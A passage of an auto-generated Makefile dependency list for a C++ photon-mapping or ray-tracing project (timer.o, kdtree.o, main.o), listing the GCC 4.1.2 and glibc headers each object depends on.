/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iomanip \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/functional \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/fstream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/basic_file.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/fstream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cassert \
/usr/include/assert.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
ray.h photon.h vector.h model.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/vector \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_vector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_bvector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/vector.tcc \
kdtree.h
timer.o: timer.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/include/sys/time.h timer.h
kdtree.o: kdtree.cpp \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/localefwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ios_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/atomicity.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/atomic_word.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_classes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/string \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/memory \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ext/new_allocator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/new \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_construct.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_uninitialized.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_raw_storage_iter.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/limits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_function.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/algorithm \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algo.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_heap.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_tempbuf.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_string.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/streambuf \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/streambuf_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwctype \
/usr/include/wctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_base.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/ctype_inline.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/codecvt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/time_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/messages_members.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/basic_ios.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/ostream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/locale \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/locale_facets.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/typeinfo \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/istream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/istream.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iomanip \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/functional \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/vector \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_vector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_bvector.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/vector.tcc \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cmath \
/usr/include/math.h /usr/include/bits/huge_val.h \
/usr/include/bits/huge_valf.h /usr/include/bits/huge_vall.h \
/usr/include/bits/inf.h /usr/include/bits/nan.h \
/usr/include/bits/mathdef.h /usr/include/bits/mathcalls.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cmath.tcc \
photon.h ray.h kdtree.h vector.h model.h
main.o: main.cpp /usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/omp.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++config.h \
/usr/include/bits/wordsize.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/os_defines.h \
/usr/include/features.h /usr/include/sys/cdefs.h \
/usr/include/gnu/stubs.h /usr/include/gnu/stubs-64.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/cpu_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ostream \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ios \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/iosfwd \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++locale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstring \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstddef \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stddef.h \
/usr/include/string.h /usr/include/xlocale.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdio \
/usr/include/stdio.h /usr/include/bits/types.h \
/usr/include/bits/typesizes.h /usr/include/libio.h \
/usr/include/_G_config.h /usr/include/wchar.h /usr/include/bits/wchar.h \
/usr/include/gconv.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/stdarg.h \
/usr/include/bits/stdio_lim.h /usr/include/bits/sys_errlist.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/clocale \
/usr/include/locale.h /usr/include/bits/locale.h \
/usr/include/langinfo.h /usr/include/nl_types.h /usr/include/iconv.h \
/usr/include/libintl.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/c++io.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/x86_64-redhat-linux/bits/gthr-default.h \
/usr/include/pthread.h /usr/include/endian.h /usr/include/bits/endian.h \
/usr/include/sched.h /usr/include/time.h /usr/include/bits/sched.h \
/usr/include/bits/time.h /usr/include/signal.h \
/usr/include/bits/sigset.h /usr/include/bits/pthreadtypes.h \
/usr/include/bits/setjmp.h /usr/include/unistd.h \
/usr/include/bits/posix_opt.h /usr/include/bits/environments.h \
/usr/include/bits/confname.h /usr/include/getopt.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cctype \
/usr/include/ctype.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stringfwd.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/postypes.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cwchar \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/ctime \
/usr/include/stdint.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/functexcept.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception_defines.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/exception \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/char_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_algobase.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/climits \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/limits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/include/syslimits.h \
/usr/include/limits.h /usr/include/bits/posix1_lim.h \
/usr/include/bits/local_lim.h /usr/include/linux/limits.h \
/usr/include/bits/posix2_lim.h /usr/include/bits/xopen_lim.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/cstdlib \
/usr/include/stdlib.h /usr/include/bits/waitflags.h \
/usr/include/bits/waitstatus.h /usr/include/sys/types.h \
/usr/include/sys/select.h /usr/include/bits/select.h \
/usr/include/sys/sysmacros.h /usr/include/alloca.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_pair.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/cpp_type_traits.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_types.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator_base_funcs.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/concept_check.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/bits/stl_iterator.h \
/usr/lib/gcc/x86_64-redhat-linux/4.1.2/../../../../include/c++/4.1.2/debug/debug.h \
